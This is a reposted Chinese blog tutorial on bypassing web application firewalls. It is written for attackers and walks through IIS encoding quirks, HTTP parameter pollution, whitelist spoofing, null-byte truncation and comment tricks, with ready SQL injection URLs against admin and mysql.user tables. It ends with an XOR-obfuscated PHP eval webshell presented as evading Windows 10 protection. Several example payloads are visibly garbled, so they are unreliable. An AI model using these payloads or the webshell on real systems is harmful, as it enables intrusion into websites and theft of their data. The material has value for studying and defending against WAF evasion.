不知不覺來到掌控學院也快兩個月了，想起倆個月前，從零開始，一步一個腳印的走到現在。雖然有時很疲憊，但是卻很快樂。

在下才疏學淺，僅在這里發表一下不成熟的見解，希望對大家的提升有所幫助

首先我們要了解什么是waf：

Web應用防火墻，Web Application Firewall的簡稱

我們口頭相談的waf有什么功能呢？

WAF可以發現和攔截各類Web層面的攻擊，記錄攻擊日志，實時預警提醒，在Web應 用本身存在缺陷的情況下保障其安全。

但是，WAF不是萬能的、完美的、無懈可擊的，在種種原因下，它們也會有 各自的缺陷，作為用戶不可以盲目相信WAF而不注重自身的安全。

我們來看一下目前主流的WAF繞過技術：

作為攻擊者，我們要清楚我們利用哪方面來進行繞過：

Web容器的特性

Web應用層的問題

WAF自身的問題

數據庫的一些特性

Web容器特性1

在IIS+ASP的環境中，對于URL請求的參數值中的%，如果和后面的字符構成的字符串在URL編碼表之外，ASP腳本 處理時會將其忽略。

現在假設有如下請求：

http://zkaq666.com/1.asp?id=1 union se%lect 1,2,3,4 fro%m adm%in

在WAF層，獲取到的id參數值為 1 union all se%lect 1,2,3,4 fro%m adm%in ,此時waf因為 % 的分隔，無法檢測出關鍵字 select from 等

但是因為IIS的特性，id獲取的實際參數就變為 1 union all select 1,2,3,4 from admin ，從而繞過了waf。

這個特性僅在iis+asp上 http://asp.net并不存在。

Web容器特性2

IIS的Unicode編碼字符

IIS支持Unicode編碼字符的解析，但是某些WAF卻不一定具備這種能力。

//已知 ‘s’ 的unicode編碼為：%u0053, ‘f’ 的unicode編碼為 %u0066

如下：

http://zkaq666.com/1.asp?id=1 union all %u0053elect 1,2,3,4, %u0066rom admin

但是IIS后端檢測到了Unicode編碼會將其自動解碼，腳本引擎和數據庫引擎最終獲取到的參數會是： 1 union all select 1,2,3,4 from admin

這種情況需要根據不同的waf進行相應的測試，并不是百發百中。但是對于繞過來說，往往只要一個字符成功繞過 即可達到目的。

Web容器特性3

HPP(HTTP Parameter Pollution): HTTP參數污染:

如下圖

在HTTP協議中是允許同樣名稱的參數出現多次的。例如:

http://zkaq666.com/1.asp?id=123&id=456 這個請求。

根據WAF的不同，一般會同時分開檢查 id=123 和 id=456 ，也有的僅可能取其中一個進行檢測。但是對于 IIS+ASP/http://ASP.NET來說，它最終獲取到的ID參數的值是123,空格456(asp)或123,456(http://asp.net)。

所以對于這類過濾規則，攻擊者可以通過：

id=union+select+password/&id=/from+admin來逃避對 select * from 的檢測。因為HPP特性，id的參數值最終會變為：union select password/,/from admin

Web容器的特性 –4

畸形HTTP請求

當向Web服務器發送畸形的,非RFC2616標準的HTTP請求時, Web服務器出于兼容的目的，會盡可能解析畸形HTTP請求。而如果Web服務器的兼容方式與WAF不一致,則可能會出現繞過的情況。下面來看這個POST請求:

如果將請求改為

這個請求包就就變為了: Method不合法,沒有協議字段HTTP/1.1 ,也沒有Host字段。

如果在HTTP/1.1協議中，缺少HOST字段會返回400 bad request。但是某些版本的Apache在處理這個請求時,默認會設置協議為HTTP/0.9 , Host壩默認使用Apache默認的servername ,這種畸形的請求仍然能夠被處理。

如果某些WAF在處理數據的時候嚴格按照GET,POST等方式來獲取數據,或者通過正則來處理數據庫包,就會因為某些版本的Apache寬松的請求方式而被繞過。

Web應用層的問題 -1

多重編碼問題

如果Web應用程序能夠接收多重編碼的數據，而WAF只能解碼一層(或少于WEB應用程序能接收的層數)時，WAF會 因為解碼不完全導致防御機制被繞過。

Web應用層的問題 -2

多數據來源的問題

如Asp和http://Asp.NET中的Request對象對于請求數據包的解析過于寬松，沒有依照RFC的標準來，開發人員在編寫代碼 時如果使用如下方式接收用戶傳入的參數

ID=Request(“ID”) ID=Request.Params(“ID”)

WEB程序可從以下3種途徑獲取到參數ID的參數值：

從GET請求中獲取ID的參數值；

如果GET請求中沒有ID參數，嘗試從POST的ID參數中獲取參數值；

如果GET和POST中都獲取不到ID的參數值，那么從Cookies中的ID參數獲取參數值。

這樣對于某些WAF來說，如果僅檢查了GET或POST的，那么來自Cookie的注入攻擊就無能為力了，更何況來自于 這三種方式組合而成的參數污染的繞過方法呢？

WAF自身的問題 – 1

白名單機制

WAF存在某些機制，不處理和攔截白名單中的請求數據：

1.指定IP或IP段的數據。
2.來自于搜索引擎爬蟲的訪問數據。
3.其他特征的數據

如以前某些WAF為了不影響站點的優化，將User-Agent為某些搜索引擎（如谷歌）的請求當作白名單處理，不檢測和攔截。偽造HTTP請求的User-Agent非常容易，只需要將HTTP請求包中的User-Agent修改為谷歌搜索引擎 的User-Agent即可暢通無阻。

WAF自身的問題 – 2

數據獲取方式存在缺陷

某些WAF無法全面支持GET、POST、Cookie等各類請求包的檢測，當GET請求的攻擊數據包無法繞過時，轉換 成POST可能就繞過去了。或者，POST以 Content-Type: application/x-www-form-urlencoded 無法繞過時，轉換成上傳包格式的Content-Type: multipart/form-data 就能夠繞過去

WAF自身的問題 – 3

數據處理不恰當

1、%00截斷 將 %00 進行URL解碼，即是C語言中的NULL字符

如果WAF對獲取到的數據存儲和處理不當，那么 %00 解碼后會將后面的數據截斷，造成后面的數據沒有經過檢測。

解析：WAF在獲取到參數id的值并解碼后，參數值將被截斷成 1/* ，后面的攻擊語句將沒有被WAF拿去進行檢測。

2、&字符處理

這些WAF會使用&符號分割 par1 、 par2 和 par3 ，然后對其參數值進行檢測。但是，如果遇到這種構造：

waf會將上傳的參數分解成3部分:

如果將這3個參數分別進行檢測，某些WAF是匹配不到攻擊特征的。

這里的 %26 是 & 字符

/%26/->/&/ 其實只是一個SQL的注釋而已

WAF自身的問題 – 4

數據清洗不恰當

當攻擊者提交的參數值中存在大量干擾數據時，如大量空格、TAB、換行、%0c、注釋等，WAF需要對其進行清 洗，篩選出真實的攻擊數據進行檢測，以提高檢查性能，節省資源。

如果WAF對數據的清洗不恰當，會導致真實的攻擊數據被清洗，剩余的數據無法被檢測出攻擊行為。

WAF自身的問題 – 5

規則通用性問題

通用型的WAF，一般無法獲知后端使用的是哪些WEB容器、什么數據庫、以及使用的什么腳本語言。 每一種WEB容器、數據庫以及編程語言，它們都有自己的特性，想使用通用的WAF規則去匹配和攔截，是非常難 的。

通用型WAF在考慮到它們一些共性的同時，也必須兼顧它們的特性，否則就很容易被一些特性給Bypass！

WAF自身的問題 – 6

為性能和業務妥協

要全面兼容各類Web Server及各類數據庫的WAF是非常難的，為了普適性，需要放寬一些檢查條件，暴力的過濾 方式會影響業務。

對于通用性較強的軟WAF來說，不得不考慮到各種機器和系系統的性能，故對于一些超大數據包、超長數據可能會 跳過不檢測。

以上就是WAF自身的一些問題，接下來我們會針對這些問題進行講解，看看WAF是怎么受這些問題影響的。

然后是數據庫的一些特性，不同的數據庫有一些屬于自己的特性，WAF如果不能處理好這些特性，就會出很大的問 題。

總結一下，WAF自身的問題有：總結一下，WAF自身的問題有：

白名單機制

數據獲取方式存在缺陷

數據處理不恰當

數據清洗不恰當

規則通用性問題

為性能和業務妥協

實例講解WAF繞過的思路和方法

一、數據提取方式存在缺陷，導致WAF被繞過

某些WAF從數據包中提取檢測特征的方式存在缺陷，如正則表達式不完善，某些攻擊數據因為某些干擾字符的存在而無法被提取。

示例:

http://localhost/test/Article. php?type= 1&x=/&id=-2 union all select 1,2,3,4,5 from dual&y=/

某WAF在后端會將刪除線部分當作注釋清洗掉:

Request:

http://localhost/Article.php?type= 1&x=/&id=-2 union all select 1,2,3,4,5 from dual&y=/

WAF:

http://localhost/Article.php?type=1&x=+8id- 2 union ol seleet 1.23,45 from etual8y +

二、數據清洗方式不正確，導致WAF被繞過

當攻擊者提交的參數值中存在大量干擾數據時，如大量空格、TAB、 換行、%0C、 注釋等，WAF需要對其進行清洗:

(為提升性能和降低規則復雜性)，篩選出真實的攻擊數據進行檢測，但是，如果清洗方式不正確，會導致真正的攻擊部分被清洗，然后拿去檢測的是不含有攻擊向量的數據，從而被Bypass!

實例：

htp://localhostest/Article .php?id9999-“/*“ union all select 1,2,3,4,5 as “*/“from mysql.user

某些WAF會將9999-“/*“ union all select 1 ,2,3, 4,5 as “/*” from mysql.user清洗為: 9999-“”from mysql.user

然后去檢測是否有攻擊特征,如果沒有,執行原始語句:

9999-“/*“ union all select 1,2,3,4,5 as “*/“ from mysql.user

如：

http://abcd.com?id=9999-"/*“ union a11 select 1,2,3,4,5 as “*/“ frommysq1. user

某些WAF會將9999-“/*“ union a11 select 1,2,3,4,5 as “*/“ from mysq1. user清洗為:

9999-“” from mysq1.user然后去檢測是否有攻擊特征,如果沒有，執行原始語句:9999”/*“ union all select 1,2,3,4,5 as “*/“ from mysq1 .user

其實，對于 /*來說，它只是一個字符串

對于 */ 來說，它也是一個字符串，在這里還充當一個別名

但是對于WAF來說，它會認為這是多行注釋符，把中間的內容清洗掉去進行檢測，當然檢測不到什么東西。

三、規則通用性問題，導致WAF被繞過

比如對SQL注入數據進行清洗時，WAF一般不能知道后端數據庫是MySQL還是SQL Server，那么對于MySQL 的 /*!50001Select*/ 來說，這是一個Select的命令，而對于SQL Server來說，這只不過是一個注釋而已，注釋 的內容為 !50001Select 。

尤其是對于通用性WAF，這一點相當難做，很難去處理不同數據庫的特性之間的問題。

大家可以發現，很多WAF對錯誤的SQL語句是不攔截的。

同樣的，在Mysql中 # 是注釋，但是在SQL Server中 # 只是一個字符串。

那么如下語句： 9999’ and 1=(select top 1 name as # from master..sysdatabases)— 會被當作為： 9999’ and 1=(select top 1 name as 注釋

其實，這里的 # 只是一個字符，充當一個別名的角色而已。

如果后端數據庫是SQL Server，這樣的語句是沒問題的。 但是通用型WAF怎么能知道后端是SQL Server呢？

WAF對上傳的檢測和處理

一、為性能和業務妥協

對于通用性較強的軟WAF來說，不得不考慮到各種機器和系統的性能，故對于一些超大數據包、超長數據可能會跳 過不檢測。

在上傳數據包部分，強行添加5萬個字符，有些WAF會直接不檢測放行，或者，檢測其中的一部分。 比如，檢測最前面5w個字符有沒有攻擊特征，如果沒有，放行。

針對這種，不能光靠WAF，我們應該在我們的WEB容器層面或應用程序層面來限定上傳數據的大小。 所以，我們不能過度依賴于WAF。

還有很多如繞過D盾木馬攔截waf的方法:

其實萬變不離其蹤，繞過的關鍵在于構建靈巧的payload

一下是我了解的一個木馬繞過方法，win10的防護不會對其進行攔截

<?php $a = “~+d()”^”!{+{}”; $b = ${$a}[a]; eval(“n”.$b); ?>//變量$a的值我是利用異或賦值的，$a = “~+d()”^”!{+{}”;，而字符串”~+d()”^”!{+{}”異或的結果為_POST,然后$b = ${$a}[a];與$b = $_POST[a]等價，在將其傳入eval()中

但是單純的一句話木馬：<?php eval($_REQUEST[a]);?>是絕對不可能在對方電腦上正常執行的 所以我們還是要不斷與時俱進的

---

轉載于安全客 作者：掌控安全-暗箭

原文鏈接：https://www.anquanke.com/post/id/203880

總結

以上是生活随笔為你收集整理的waf可以查看post请求吗_WAF是如何被绕过的？的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。